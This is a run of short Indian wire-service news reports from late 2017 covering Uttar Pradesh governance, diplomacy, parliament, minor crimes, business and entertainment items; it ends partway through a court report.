A workaholic, the chief minister toiled beyond normal duty hours, literally burning the mid-night oil, only to get back to his desk early next morning, keeping the bureaucracy on its toes all the while.

Adityanath directed his ministers to remove red beacons from their cars, declaring that no politician should flaunt a 'VIP status'. He also urged all ministers to disclose their assets to the CM secretariat within a fortnight.

When his government completed six months in office in September, Adityanath released a detailed 'white paper' on the working of previous governments in the state and a status report on his own government's policies and achievements since he assumed office on March 19.

Though he claimed to have fulfilled most of the promises the BJP made during the election campaign, the Opposition stepped up the attack on the ruling party claiming that misses have outnumbered the hits.

The death of 65 children, allegedly due to the lack of oxygen, in a state-run medical college in his native turf Gorakhpur dented Adityanath's aura.

In his first state Cabinet meeting, Adityanath waived farm loans to the tune of Rs 36,000 crore. Described as a populist and quick fix measure to score brownie points, the move was said to have benefited around 86 lakh small and marginal farmers.

Four days into office, the chief minister launched a crackdown on illegal slaughterhouses, triggering strong protests from meat traders. Besides unlicenced private slaughterhouses, many government-owned slaughterhouses closed down due to licence issues triggering a hue and cry among 'kebab' connoisseurs in the City of Nawabs.

Adityanath installed the anti-Romeo squad with an aim to curb incidents of eve-teasing, public attacks on women, molestation, harassment and rape. But, with his government facing charges of moral policing, he had to order the squads to desist from harassing innocent citizens.

The state government cracked the whip by launching inquiries into projects cleared during the previous regimes of Akhilesh Yadav and Mayawati. These included the Gomti River Front project, the Agra-Lucknow Expressway and construction of Lohia Path in Lucknow.

The Uttar Pradesh government, in collaboration with the central government, signed the 24x7 'Power for All' agreement to provide electricity to every household in the state by October 2018.

Fulfilling the promise made to sugarcane farmers, dues of 93 per cent of cane growers have been paid, according to figures provided by the BJP.

Claiming that his government has removed 'jungle raj' from Uttar Pradesh, Adityanath maintained that an atmosphere congenial to industrial development has been created in the state and invited entrepreneurs from abroad to the crime-free state. He also said there has not been a single incident of riot in the state during his regime.

An anti-land mafia force has been set up in the state to ensure that Jawahar Bagh kind of violence did not recur. Two policemen and 22 squatters were killed in clashes on June 2 last year at the Jawahar Bagh public park in Mathura.

The state capital hosted with great pomp and show the international yoga day on June 21 and organised grand Diwali celebrations at Ayodhya, which once again shot to prominence after day-to-day hearing of the Ram Janmabhoomi-Babri Masjid dispute and efforts of Art of Living founder Sri Sri Ravishankar to resolve the vexed issue.

Adityanath paid a visit to Taj Mahal amid controversial remarks by leaders from across the political spectrum.

Natural calamities like floods in eastern Uttar Pradesh and drought like situation in Bundelkhand kept the authorities busy in mitigating the sufferings of the affected people.

For the first time, Uttar Pradesh gave the country its new president - Ramnath Kovind - who represented the state in the Rajya Sabha before becoming the Bihar governor to finally shift to the Raisina Hills.

The state had the dubious distinction of witnessing some major train mishaps this year.

In August, 23 passengers were killed and 150 injured when the Utkal Kalinga Express derailed in Muzaffarnagar district. The same month saw the Kaifiyat Express jump rails in Auraiya district in which around 50 passengers were injured.

The back to back tragedies led to a change in the national carrier's leadership with Suresh Prabhu being replaced by Piyush Goyal and Railway Board chairman AK Mittal making way for Ashok Lohani.

The Patna-bound Vasco Da Gama Express train derailed near Manikpur railway station in Chitrakoot district in November, leaving three passengers dead and nine injured.

As part of the Swachcha Bharat Mission, the state declared four districts - Shamli, Hapur, Bijnore and Ghaziabad - open defecation free this year.

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Miscreants shot dead a homeguard posted at a jail in Bihar's Siwan district this morning, police said.

The 45-year-old homeguard was gunned down near his native Jodkan village when he was on his way to the Siwan Mandal Kara jail to report for duty, Sub-divisional Police Officer of Siwan Sadar, Kartikey Sharma said.

The man was rushed to the Siwan sadar hospital where he was declared brought dead, he said.

Police investigations are on to identify and nab the culprits, he added.

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Actor Ruby Rose says she did not relate to being a girl from a young age.

The 31-year-old actor, who is a homosexual and a vocal advocate of LGTBQ rights, said, thanks to celebrities such as Annie Lennox, David Bowie, Prince and Madonna, she identifies herself as gender fluid today.

"When I was really young, my own understanding was that you had to be either a boy or a girl and I didn't feel like I fit the mould of a girl," Rose told Self magazine.

The actor said her breakout role in "Orange Is The New Black" came in at a time when she was confident about her sexuality and she is thankful for it.

"I definitely always keep in mind that what I do is going to influence other people, young or old, whatever, I want to make sure that the person they look up to is the same person that they looked up to in the beginning," she said.

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Veteran actor Meryl Streep has responded to Rose McGowan's critical remarks against herself and other actors who plan to protest sexual harassment by wearing black to this year's Golden Globes.

McGowan had called out Streep on yesterday for working with producer Harvey Weinstein despite his reputation as a sexual predator and condemned their form of protest.

In her response, Streep said she "wasn't deliberately silent" in Weinstein's treatment of women in Hollywood because she did not know it was happening.

"It hurt to be attacked by Rose McGowan in banner headlines this weekend, but I want to let her know I did not know about Weinstein's crimes, not in the 90s when he attacked her, or through subsequent decades when he proceeded to attack others.

"I wasn't deliberately silent. I didn't know. I don't tacitly approve of rape. I didn't know. I don't like young women being assaulted. I didn't know this was happening," Streep said in a statement to the Huffington Post.

The 68-year-old actor added that not everyone who worked with Weinstein knew the depth of accusations against him.

"Rose assumed and broadcast something untrue about me, and I wanted to let her know the truth. Through friends who know her, I got my home phone number to her the minute I read the headlines. I sat by that phone all day yesterday and this morning, hoping to express both my deep respect for her and others' bravery in exposing the monsters among us, and my sympathy for the untold, ongoing pain she suffers.

"No one can bring back what entitled bosses like Bill O'Reilly, Roger Ailes, and HW took from the women who endured attacks on their bodies and their ability to make a living. And I hoped that she would give me a hearing. She did not, but I hope she reads this," Streep added.

The actor said she was "truly sorry" that McGowan sees her as an "adversary".

"...We are both, together with all the women in our business, standing in defiance of the same implacable foe: a status quo that wants so badly to return to the bad old days, the old ways where women were used, abused and refused entry into the decision-making, top levels of the industry.

"That's where the cover-ups convene. Those rooms must be disinfected, and integrated, before anything even begins to change," Streep said.

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The Reserve Bank today asked banks and other financial institutions to share information about assets of creditors with information utilities registered under the insolvency law.

The directive from the apex bank clears the air over sharing of information about creditors as required under the insolvency law as many banks reportedly had reservations in parting with such details.

It also comes at a time when lenders are set to initiate insolvency proceedings against more than 20 borrowers in addition to over 10 cases where proceedings are underway.

Information utilities store financial information to help establish defaults and verify claims expeditiously in order to complete transactions under the Insolvency and Bankruptcy Code (IBC) in a time-bound manner.

"All financial creditors regulated by the Reserve Bank of India (RBI) are advised to adhere to the relevant provisions of IBC, 2016 and IBBI (IUs) Regulations, 2017 and immediately put in place appropriate systems and procedures to ensure compliance to the provisions of the Code and Regulations," the central bank said in a letter.

The letter has been addressed to all scheduled commercial, small finance, local area and cooperative banks as well as non-banking financial institutions and all-India financial institutions.

The Insolvency and Bankruptcy Board of India (IBBI) is implementing the Code and last week issued guidelines for technical standards to be followed by information utilities, including for consent framework in sharing details with third parties.

As per the IBC provision, "a financial creditor shall submit financial information and information relating to assets in relation to which any security interest has been created, to an information utility in such form and manner as may be specified by regulations", the letter said.

So far, National E-Governance Services Ltd (NeSL) has been registered as an information utility by the IBBI.

Operational from December last year, the Code provides for a market-determined and time-bound insolvency resolution process.

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Bangladesh Transport Minister Obaidul Quader today expressed hope that New Delhi and Dhaka would find a solution to the Teesta water-sharing issue.

The emotive issue features prominently whenever the bilateral relations between India and Bangladesh are discussed.

"The signing of the Land Boundary Agreement was a historic step. We hope that through discussions, we (both the countries) will also work out the Teesta treaty. Everything can be solved through discussions," Quader told reporters here.

The Teesta river originates in Sikkim, flows through the northern parts of West Bengal, before entering Bangladesh and joining the Brahmaputra river.

India and Bangladesh were set to ink a deal on Teesta water sharing during the then prime minister Manmohan Singh's Dhaka visit in 2011, but West Bengal Chief Minister Mamata Banerjee had declined to endorse it, citing scarcity of water in her state.

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India today appreciated the strategic importance given by the US to bilateral ties in its new National Security Strategy and said that the two countries share common objectives, including combating terrorism.

Ministry of External Affairs spokesperson Raveesh Kumar said a close partnership between India and the US contributes to peace, stability and prosperity in the Indo-Pacific region as well as to the economic progress of the two countries.

"We appreciate the strategic importance given to India-US relationship in the new National Security Strategy released by the US. As two responsible democracies, India and the US share common objectives, including combating terrorism and promoting peace and security throughout the world," he said.

Describing India as a "leading global power" in its newly unveiled National Security Strategy, the Trump administration has said it will deepen US' strategic partnership with India and support its leadership role in maintaining security in the Indo-Pacific region.

The 68-page document also said the US will seek to increase quadrilateral cooperation with Japan, Australia and India.

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The incident of a passenger being manhandled by IndiGo staff at the airport here came to the notice of aviation regulator DGCA through social media and almost a month after it happened, according to the government.

After the incident came to light last month, Civil Aviation Minister Ashok Gajapathi Raju had strongly condemned the same, while the airline had admitted that it was at fault and had apologised.

Last month, a video clip of the incident had gone viral.

Minister of State for Civil Aviation Jayant Sinha told the Rajya Sabha today that in the recent past through social media, it came to the notice of the DGCA that a passenger who travelled by "IndiGo flight 6E-487 was manhandled after deplaning in the operational area at IGI Airport, New Delhi".

Though the incident happened on October 15, 2017, it only came to the knowledge of the DGCA (Directorate General of Civil Aviation) after almost a month's time, he said in a written reply.

Sinha also noted the incident has been investigated by the regulator.

"DGCA has issued regulations... which provides for adequate training of persons waiting at airport who are engaged in passenger handling. In case of violation, appropriate action is taken as per the provisions of the relevant CAR (Civil Aviation Requirement)," the minister said.

To a query on whether instances of quarrel/ fight between passengers and airline staff have increased recently, he said in another written reply that no analysis in this regard has so far been carried out.

Regarding charges levied by carriers for cancellation of air tickets, Sinha said as per norms, "under no circumstances, the airline shall levy cancellation charges more than the basic fare plus fuel surcharge".

This is under provision of CAR related to 'Refund of Airline Tickets to Passengers of Public Transport Undertakings'.

"As per the prevailing regulations, airlines are free to establish reasonable charges/ fee for the services being offered by them, which include charges for cancellation of pre-booked tickets also," Sinha said in a separate written reply.

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Two unidentified men allegedly snatched an iPhone worth nearly Rs one lakh from a student here, police said today.

Aman Singhal, a student of a private university here, was talking on his 'iPhone X' when two men on a motorcycle snatched it, the Knowledge Park police station in-charge, Hansraj Bhadoria, said.

Police have registered an FIR, he said, adding a hunt is on to arrest the accused.

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Iran today condemned the United States veto of a UN Security Council resolution rejecting President Donald Trump's decision to recognise Jerusalem as Israel's capital, which it calls "provocative and unwise".

US Ambassador to the UN Nikki Haley yesterday vetoed the draft resolution which was backed by all 14 other members of the council.

Iran's foreign ministry spokesman Bahram Ghasemi said the US administration "showed its lack of compliance with international resolutions by its provocative and unwise decision to recognise Al-Quds as the capital of the Zionist occupying regime".

He said Washington's veto despite the rest of the council supporting the resolution "proved that it seeks a compromise by trampling on the legal rights of all Palestinians"



Ghasemi's statement said Tehran was unsurprised by the American recognition, given its "racist and hostile policies that unilaterally back the Al-Quds occupiers".

Iran "strongly condemns this move and urges all countries and the international community to... prevent its implementation to preserve international peace and security," he added.

Shiite Iran, which has put enmity towards Israel and the Palestinian cause as one of its the main pillars of its foreign policy since the 1979 Islamic resolution, said it will not "tolerate" the Jerusalem decision.

Tehran today also summoned Markus Leitner, the ambassador of Switzerland which represents US interests, to protest against Haley's "irresponsible" claims that Iran sent arms to Yemen.

In a separate statement, Ghasemi said an official and "strong" protest was conveyed concerning "the baseless and unthoughtful accusations by Nikki Haley at the UN".

On Thursday, Haley presented what she called "concrete" evidence that a missile fired by Yemeni rebels at Riyadh airport on November 4 was "made in Iran".

Alireza Miryousefi, spokesman at Iran's mission to the United Nations, dismissed Haley's allegation as "fabricated".

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Ivanka Trump, the adviser and daughter of US President Donald Trump, has thanked Telangana Chief Minister K Chandrasekhar Rao for his hospitality during her recent visit to Hyderabad.

In a hand-written letter addressed to Rao, she described her visit as an "incredible and inspiring experience".

Last month, Ivanka Trump led a delegation of US administration officials and entrepreneurs at the Global Entrepreneurship Summit (GES) held here.

Prime Minister Narendra Modi also hosted a gala dinner for her at the famous Falaknuma Palace Hotel in the city.

Ivanka Trump, in her letter to the chief minister, said she was touched by the warmth of the people of Telangana.

"I also want to thank you for the exquisite gift that you presented to me at the Falaknuma Palace. I am deeply touched by your thoughtful gesture and by the warmth of the people of Telangana," she said in the letter, a copy of which was released last night.

She further said that she looks forward to coming to India in the near future.

Ivanka Trump, who is also an entrepreneur, was invited by the prime minister during his visit to the White House in June to speak at the GES.
The shock defeat of the BJP's chief ministerial candidate Prem Kumar Dhumal from Sujanpur has opened up the race for the top post in Himachal Pradesh with Union Health Minister Jagat Prakash Nadda and five-time MLA Jairam Thakur emerging prime contenders.

A search is on for a new leader of the BJP Legislature party and the incharge of party affairs in Himachal Pradesh is expected to be present here today evening.

Though a meeting of the Legislature party has not been convened so far, the party high command has appointed Union ministers Nirmala Sitharaman and Narinder Tomar as central observers for the election of its leader.

The BJP had decided not to project any leader as chief minister and there was a general impression that Nadda would get the job. However, just nine days before the November 9 polls, Dhumal's name was announced.

The move did not yield expected results and Dhumal not only lost his own election but his staunch supporters like Gulab Singh, Ravinder Singh Ravi, state BJP chief Satpal Singh Satti, Randhir Sharma, K L Thakur and Vijay Agnihotri were also humbled.

"There are not many senior and experienced leaders for the post but it does not matter as the leader would be decided by the high command and the observers would be briefed accordingly," said a senior party leader.

The names of Mohinder Singh, who won for the seventh time from Dharampur, five-time MLA Rajiv Bindal, former state BJP chief Suresh Bharadwaj and Krishan Kapoor, both four-time MLAs, are also doing the rounds.

A section is still batting for Dhumal claiming the elections were won under his leadership.

BJP MLA from Kutlehar, Varinder Kanwar, has already offered to vacate his seat for Dhumal.

However, the chances of electing a defeated leader as chief minister appear not too bright.

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Jammu and Kashmir Small Scale Industries Development Corporation (SICOP) Limited has achieved a turnover of Rs 518.87 crore up to November this year, close to 68 per cent of the target for financial year 2017-18, an official spokesman said today.

"SICOP has achieved a turnover of Rs 518.87 crore up to November 2017 against a target of Rs 755 crore during the financial year 2017-18," the spokesman said.

This was revealed at the 87th board of directors meeting of SICOP chaired by state Minister for Industries and Commerce, Chander Prakash Ganga, here yesterday.

It was informed that annual turnover of the corporation in respect of marketing, raw material and other activities has also increased manifold.

The spokesman said the board appreciated the role of the corporation in establishing a well planned IT wing and data centre of industries and commerce department to go for digitisation as well as ease of doing business in order to provide a comfortable and conducive atmosphere to startup businesses besides facilitating the business fraternity.

Ganga directed the SICOP management to put in strenuous efforts to support the Small Scale Industrial (SSI) units of the state which is the primary activity of the corporation.

Emphasising upon the need to boost employment in SSI sector, Ganga directed management of SICOP to redouble their efforts to assist the SSI units in all the potential areas.

Regarding establishment of data centre of industries and commerce which has been established and maintained by JK SICOP, the minister said that this data centre would not only cater to IT based services to the department but other government agencies as well.

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Kolkata Police has initiated a search for a young woman, who has been allegedly missing from her paying guest accommodation in the city since December 10.

The 19-year-old woman, a resident of Ghatshila in Jharkhand, had come to the city to pursue studies and was staying in Kalighat area, a senior police officer said today.

The search was initiated after the woman's family lodged a complaint with the Kalighat Police Station.

"The mobile phone tower location of the woman showed her last location at Esplanade. After that, the phone was switched off," the officer said.

Family members of the woman have alleged that she had been receiving "threat calls" from unknown persons, he said.

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Ahead of Friday's India-China border talks, China on Tuesday said that the Dokalam standoff posed a major test for the bilateral ties and lessons should be learnt from it to avoid a similar conflict in the future.

The 20th round of border talks between Security Advisor Ajit Doval and China's State Councillor Yang Jiechi will be held in New Delhi on December 22, officials said. The two sides attach significance to this round of talks as it would be the first since the 73-day Doklam standoff in the Sikkim section which ended on August 28.

This Special Representative meeting is not only a high- level channel for the border issue discussion but also the platform for strategic communication, Foreign Ministry spokesperson Hua Chunying said at a media briefing.

This also allows the two sides to exchange views on the international and regional issues of major concern, she said. In 2017, China-India relations have maintained a good momentum generally but the Dokalam incident posed a major test for the two countries. We should learn lessons from this incident to avoid any further conflict of this kind in the future, Hua said.

We should follow our historical conventions on the border to uphold the tranquillity and peace in the border region as well as safeguard the larger picture of the India-China relations, she said, adding that is in the best interest of both the countries.

Asked about the Dokalam standoff's impact on the talks, Hua said the issue also figured in the recent visit of Foreign Minister Wang Yi to New Delhi to take part in the foreign ministers' meeting of Russia, India and China (RIC).

On its sidelines, Wang also held talks with his Indian counterpart Sushma Swaraj and President Ram Nath Kovind. Wang in his meeting with Indian counterpart also touched about the Dokalam issue, Hua said.

Besides attempting to resolve the vexed border dispute, the format of the India-China Special Representatives talks covered the whole gamut of relations between the two countries including political, strategic, economic and trade issues.

Yang, China's top diplomat, has recently been elevated to the politburo, a high ranking policy making body of the ruling Communist Party of China (CPC).

The 3,488-km Line of Actual Control (LAC) covers from Jammu and Kashmir to Arunachal Pradesh. Of this, 220-km section falls in Sikkim. The two sides so far held 19 rounds of Special Representatives talks to resolve the dispute.

Officials say Wang's visit, the first by a top Chinese official after the Dokalam standoff and the starting of second term of Chinese President Xi Jinping in October facilitated a more candid and frank talks between the two countries to tide over most contentious between the two countries beyond the diplomatic niceties.

They said though a solution to the border dispute still eludes the two countries, a lot of headway has been made in the 19th round of talks in terms of working out mechanisms to restore peace and tranquillity along the border to resolve tensions out of the aggressive patrolling by troops.

The Dokalam standoff began on June 16 over People's Liberation Army's plans to build a road in area claimed by Bhutan after the Indian troops intervened to stop it as it posed a security risk to Chicken Neck, the narrow corridor connecting India with its Northeastern states.

India pointed Sino-Indian differences over the tri- junction between India, China and Bhutan in the Sikkim section which is yet to be settled. The standoff ended on August 28 following mutual agreement between India and China.

China, which had opened the Nathu La route for Indian pilgrims to visit Kailash and Manasarovar, has closed it after the Dokalam standoff and yet to open it.
has been awarded a patent for anti-malarial drug in India, the company said on Tuesday.

The patent has been awarded by the Indian government for an Arteether injection to treat malaria, according to a BSE filing.

The drug is painless and gives faster relief to the patients, Lincoln Pharma said.

The company expects significant rise in the revenue from exports to Africa after the introduction of this injection in the African market.

"With the introduction of this injection in African countries, where total anti-malarial market is Rs 586 crore, the company expects to increase revenue from Africa by Rs 35-40 crore," it added.

At present, the company's anti-malarial drug exports to Africa amounts to Rs 50 crore.

Shares of the company were trading at Rs 221.15 apiece on BSE, up 2.65 per cent from the previous close.
The proceedings of the Lok Sabha were adjourned for nearly 30 minutes today amid slogan- shouting by Congress members demanding an apology from Prime Minister Narendra Modi for his remarks against his predecessor Manmohan Singh.

As soon as the Question Hour began, leader of Congress in the House Mallikarjun Kharge raised the issue but Speaker Sumitra Mahajan refused to entertain his demand during the Question Hour.

Soon, Congress members trooped into the Well raising slogans against the Prime Minister such as "pradhan mantri maafi mango" (PM apologise) and "pradhan mantri sadan mein aao" (PM come to the House).

The Prime Minister was not present as he is touring Ockhi cyclone-hit states in southern India.

The Question Hour continued amidst din even as Mahajan threatened Congress MPs that she would 'name' them. Naming of a member by the Chair generally leads to disciplinary action.

She said whatever happened in an election campaign should not be used to disrupt the House. "The elections are over and the results are out. I cannot allow you to raise the issue here," she told the agitating members.

Kharge and NCP's Tariq Anwar said the issue should not be linked to polls.

Newly-elected Congress member Sunil Jakhar said if there was any truth in Modi's claim that Singh had conspired with Pakistan to rig the Gujarat poll verdict, the government should file a case against the former Prime Minister.

Parliamentary Affairs Minister Ananth Kumar also urged the Congress members to take their seats and participate in the Question Hour.

A visibly upset Speaker said while the Congress has been accusing the government of not convening the Winter session on time, they were disrupting it now.

Around 11.30 am, she adjourned the House till noon.

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President Emmanuel Macron hit back at Bashar al-Assad today after the Syrian leader accused France of supporting terrorism in the war-torn country, saying the comment was "unacceptable".

Assad had yesterday called Paris "a standard-bearer of support for terrorism in Syria since the early days of the conflict", referring to early French support for rebels fighting his regime.

Macron emphasised that France has been focused for years on destroying the Islamic State group as part of a US-led coalition.

"We have been consistent since the beginning" in fighting IS, Macron said at a joint press conference with NATO chief Jens Stoltenberg.

As the brutal Syrian war grew out of anti-government protests in 2011, France was among Western countries insisting that Assad must go.

Macron's predecessor Francois Hollande confirmed in 2014 that France had sent weapons to anti-Assad fighters, after providing logistical support to rebels it considered moderate, including Kurds.

It launched air strikes against IS positions in September 2015, intensifying them two months later after the jihadists claimed responsibility for terrorist attacks in Paris that killed 130 people.

After Macron won the presidency in May, he confirmed that the policy had shifted towards prioritising the destruction of IS rather than ousting Assad, warning of a "failed state" if the leader were forcibly removed.

In a televised interview Sunday, Macron called Assad "an enemy of the Syrian people" who should ultimately face a war crimes court.

But he nonetheless said it was crucial to engage him in diplomacy, calling for the regime and opposition forces to join new peace talks next year after the failure of the latest round in Geneva last week.

Paris blamed Damascus for the failure, accusing Assad's government of an "irresponsible strategy of obstruction".

Assad's fate has been the stumbling block to progress in every round of UN-backed indirect negotiations in Geneva so far between his representatives and those of the Syrian opposition.

Damascus favours talks to be organised in Sochi, Russia, in 2018 by Moscow, the regime's main ally, over the Geneva process.

More than 340,000 people have been killed since the conflict began in March 2011.

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Mahatma Gandhi Digital Museum Store, said to be first of its kind in the country, was inaugurated here today.

The mobile store at Bapu Ghat, Langar Houz, has over 100 souvenirs, ranging from apparel, books, bags, desktop accessories, figurines, personal accessories, time pieces and writing instruments.

It is an initiative of Visual Quest India, a design and technology firm based here and Eternal Gandhi a corporate social responsibility initiative of the Aditya Birla Group.

"The intention of this mobile museum is to offer the people of Telangana selected range of Gandhi inspired merchandise and let the word out of the museum," a VQI statement said.

Telangana IT Secretary Jayesh Ranjan, and Ela Gandhi, granddaughter of Mahatma Gandhi, a peace activist and a former member of Parliament, South Africa inaugurated it.

Also present at the occasion were Bharat Parekh, President Eternal Gandhi and Special Projects, Aditya Birla Group; and, Birad Rajaram Yajnik, Trustee, Indira Gandhi National Centre for the Arts and Managing Director, VQI.

Jayesh Ranjan said: "Bapu Ghat in Hyderabad is an important landmark as this was one of the few places that Mahatma Gandhi's ashes were sent to.

Ela Gandhi, while remembering her grandfather, said "Mahatma Gandhi always believed that education was not all about learning but it was a way to live."



Talking to school children at the inauguration, she also quoted Mahatma Gandhi's most famous line "Be the change you wish to see in the world."



This mobile museum aims to take "Gandhi" to the underserved population and reinstate his ideals of "peace," "truth," and "ahimsa" (non-violence) among the general populace and the student community, the statement said.

Yajnik said: "The need of the hour is to find the next Gandhi."



Additionally, 100% of the income, generated by the sale of souvenirs from the store is committed to supporting this museum itself, it was learnt.

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An Indian man bound for Bangkok was today apprehended at the Delhi international airport for allegedly trying to smuggle out gold worth Rs 45 lakh by concealing it in a metal strip on his baggage, the CISF said.

On-duty Central Industrial Security Force (CISF) personnel early today intercepted Abdul Nizar, 27, at the Indira Gandhi International Airport when he was undergoing security checks.

During the X-ray scanning of his bag, a CISF official detected suspicious images and called him for a detailed frisking, it said.

"A 1.5-kg gold strip was fixed on the metal border of the bag and was cleverly coated with mercury. This was done to avoid detection by authorities. About 3 kg of saffron was also recovered from the same bag," a CISF spokesperson said.

The man, who arrived from Dubai at the IGI airport and was supposed to take off for Bangkok, has been handed over to the Customs authorities for further investigation, he said.

The value of the seized gold strip is estimated to be about Rs 45 lakh, while the saffron is valued at Rs six lakh, he said.

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British Prime Minister Theresa May and US President Donald Trump "agreed on the importance of a swift post-Brexit bilateral trade deal" during talks today, her Downing Street office said.

The leaders discussed a future trade deal between the two countries during a phone call which focused on several other issues including Jerusalem, a spokesman said.

It was their first conversation since a rare public row erupted last month after May criticised Trump's retweeting of a fringe British far-right leader's anti-Muslim messages, which provoked an angry response from the president.

"The prime minister updated the president on the recent good progress of the Brexit negotiations, and the president set out the progress he had made on his economic agenda," the spokesman said.

"They agreed on the importance of a swift post-Brexit bilateral trade deal."



Earlier today, May chaired the first detailed cabinet discussion on Britain's future trade ties, after European Union leaders last week approved an interim agreement on the terms of their separation, and agreed to move talks on to trade next year.

London wants to secure "the best possible trading terms with the EU" that enable Britain "to set rules that are right for our situation and facilitates ambitious third-country trade deals," Downing Street said after the meeting.

The transatlantic phone call also touched on Trump's controversial recognition of Jerusalem as the Israeli capital earlier this month, which May previously called "unhelpful" and said the British government disagreed with.

"They discussed the different positions we took on the recognition of Jerusalem as the Israeli capital, and agreed on the importance of the US bringing forward new proposals for peace and the international community supporting these efforts," the Downing Street spokesman added.

May and Trump also talked about Yemen, with May "highlighting our ongoing deep concerns at the humanitarian situation," according to Downing Street.

"They agreed on the vital importance of reopening humanitarian and commercial access to prevent famine and alleviate the suffering of innocent Yemenis," the spokesman said.

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Haryana will conduct its first state-level mega mock exercise on earthquake in all 22 districts on Thursday, the Revenue and Disaster Management Minister, Capt Abhimanyu said today.

It comes under the 10-point agenda laid by Prime Minister Narendra Modi for renewing efforts towards disaster risk reduction.

Holding a review meeting on mega mock exercise, the minister spoke to all the deputy commissioners of the districts through video conferencing today.

He said for the first time in Haryana, a state-level mega mock exercise on earthquake preparedness was being simultaneously conducted in all the districts.

The representatives of military, paramilitary forces, National Disaster Response Force (NDRF), National Security Guard (NSG), all the departments concerned and other stakeholders would participate in the exercise, he added.

He said Haryana is in high risk zone of earthquake due to urbanisation and high rise buildings in National Capital Region (NCR).

"The aim of this exercise is to generate awareness among the general public about safety measures in case of earthquake and also to evaluate the preparedness of agencies related to disaster management," the minister added.

He said this mega mock exercise will be conducted in coordination with National Disaster Management Authority (NDMA), New Delhi.

The representatives of the Indian Army, paramilitary force, NDRF, NSG, and others would be posted as observers in all the districts, who would give their feedback on all the work done during the exercise and lessons learnt to the state government.

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Former Infosys CFO and investor T V Mohandas Pai on Tuesday said India needs a Chief Information Officer (CIO) under PMO for integrating IT strategies and policies related to various departments.

"I totally agree (that India should have a CIO under Prime Minister's Office.) The government needs this to create a tech vision for itself," Pai told PTI here.

This will help integrate IT strategies and policies related to various departments, he said.

Pai's reply came when he was asked about Centre's plans to create a position of CIO, which was reported in some sections of the media.

India also needs a Chief Data Scientist to enable use of big data, Pai added.

In the light of a large part of financial transactions and technology backend in India likely to be inter-linked with Aadhaar number, the role of CIO becomes all the more important, he noted.

The government plans to interlink financial transactions and technology backend with Aadhaar number by next financial year.

The role of CIO will be reportedly similar to that of a White House CIO, who is also responsible for designing an inter-operable IT infrastructure of central government.

The White House CIO is also reportedly responsible for managing the IT spending of the federal government.

IT experts feel CIO could push for open source procurement of software which could lead to more efficient spending of taxpayers' money on IT spending by the central government.
A permanent solution to stubble burning, which has been causing choking pollution in northern states, can be brought about at the cost of just 6 or 7 Rafale fighter jets, Congress leader Pratap Singh Bajwa said today.

Seeking immediate sanction of funds by the Centre to solve the problem, he said the NITI Aayog has projected that a permanent solution would cost around Rs 11,000 crore.

Raising the issue of choking pollution from stuble burning in Punjab, Haryana and western Uttar Pradesh through a Zero Hour mention in the Rajya Sabha, Bajwa said this was just the cost of 6-7 Rafale jets.

India is buying 36 Rafale fighters for about Rs 59,000 crore contract (7.87 billion euro) from France.

He said pollution in the national capital has become a "national shame" and the government should urgently take steps to tackle it.

Farmers, he said, needed support and should be given Rs 200 per quintal extra to get rid of crop residue in eco- friendly way. Farmers should be given financial support to stop stubble burning, he added.

Vivek Gupta (TMC) wanted to know what steps the government has taken for the disposal of crop residue.

Raising the issue of Cyclone Ockhi which has left a trail of destruction in Tamil Nadu, Kerala and Lakshadweep, D Raja (CPI) said scores of fishermen are still missing.

He demanded that the disaster be declared a national calamity and adequate financial assistance be given to the governments of Kerala, Tamil Nadu and Union Terriroty of Lakshadweep.

"Fishermen are passing through huge distress," he said and demanded setting up of a separate ministry of fisheries to deal with issues of the fishermen.

Harivansh (JD-U) sought steps to protect Jaiprakash Narayan's village Sitab Diara in Saran on the UP-Bihar border from being flooded.

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With India's growing trade ties with the East, ensuring navigational freedom in the strategic South China Sea has become important for the country just as it is to other trading nations, a former top Indian diplomat has said.

Navigational freedom is a concern for all of the world's trading nations that use the South China Sea route, whether it is Japan, China and the US, said former National Security Adviser Shivshanker Menon.

In 1991, about 15.6 per cent of India's Gross Domestic Product (GDP), as external merchandise trade, went to the West through the Suez. But by 2014, half of 49.3 per cent of the GDP, as external merchandise trade, was shipped through the South China Sea to the East.

As such, the South China Sea now has become more important for India unlike earlier, said Menon after delivering a public lecture on 'Asia's New Geopolitics'.

China claims almost all of the South China Sea but Vietnam, the Philippines, Malaysia, Brunei and Taiwan have counter claims over the waterway.

The US is periodically deploying its naval ships and fighter planes to assert freedom of navigation.

"We have a common interest in the navigation there, it is in nobodys interests to see freedom of navigation affected in the South China Sea," said Menon, who is a Distinguished Visiting Research Fellow at the Institute of South Asian Studies (ISAS), a think tank here.

It seems there is enough of common interest all around for Association of Southeast Asian Nations (ASEAN), China, India, Japan and the US to make sure that this trade goes through the South China Sea "peacefully", he said.

The ASEAN is a regional intergovernmental organisation comprising ten Southeast Asian states. Its members include Indonesia, Malaysia, the Philippines, Singapore and Thailand, Brunei, Cambodia, Laos, Myanmar and Vietnam.

China, he observed, wants to solve the problem and is asking concerned parties to talk to her.

The old system to relying on the US to solve the problem is not going to be there, he believes.

China is negotiating a code of conduct directly with the ASEAN for the South China Sea, he noted.

It has already worked out a declaration of conduct in the South China Sea with the South East Asian regional grouping for easing of tension.

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National Green Tribunal (NGT) Chairperson Justice Swatanter Kumar today retired from the post after completing his five-year tenure.

His successor is yet to be appointed.

A full bench reference was organised today at the NGT in court number 1 on the occasion.

Justice Kumar resigned as Supreme Court judge after he was appointed NGT chairperson on December 20, 2012.

During his tenure as NGT chief, he passed several landmark orders and judgements. These include the ban on 10- year-old diesel and 15-year-old petrol vehicles, the slew of directions for rejuvenation of the Ganga and Yamuna, the demolition of illegal hotels in Himachal Pradesh and the ban on plastic items in Delhi, Haridwar and Punjab.

His recent order capping the number of pilgrims at Vaishno Devi to 50,000 per day and his direction to maintain silence at Amarnath invited ire from various quarters.

The first chairperson of the tribunal was Justice Lokeshwar Singh Panta, who was appointed on October 18, 2010 and relinquished the post in 2011 when he was made 'lokayukta' of Himachal Pradesh.

The NGT was established on October 18, 2010 under the National Green Tribunal Act 2010 for effective and expeditious disposal of cases relating to environmental protection and conservation of forests and other natural resources.

The tribunal's principal bench is located in New Delhi while its zonal benches are in Bhopal, Pune, Kolkata and Chennai and its circuit benches in Shimla, Shillong, Jodhpur and Kochi.

The tribunal consists of a full time chairperson, judicial members and expert members. The minimum number of judicial and expert members prescribed is 10 in each category and maximum number is 20 in each category.

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An NIA court here today sent British national Jagtar Singh Johal, an accused in murder case of a Hindu outfit leader in 2016, to police remand for three days.

Johal, alias Jaggi, 30, was produced in the NIA court under tight security.

The NIA counsel requested the court to grant Johal's police remand for at least 14 days.

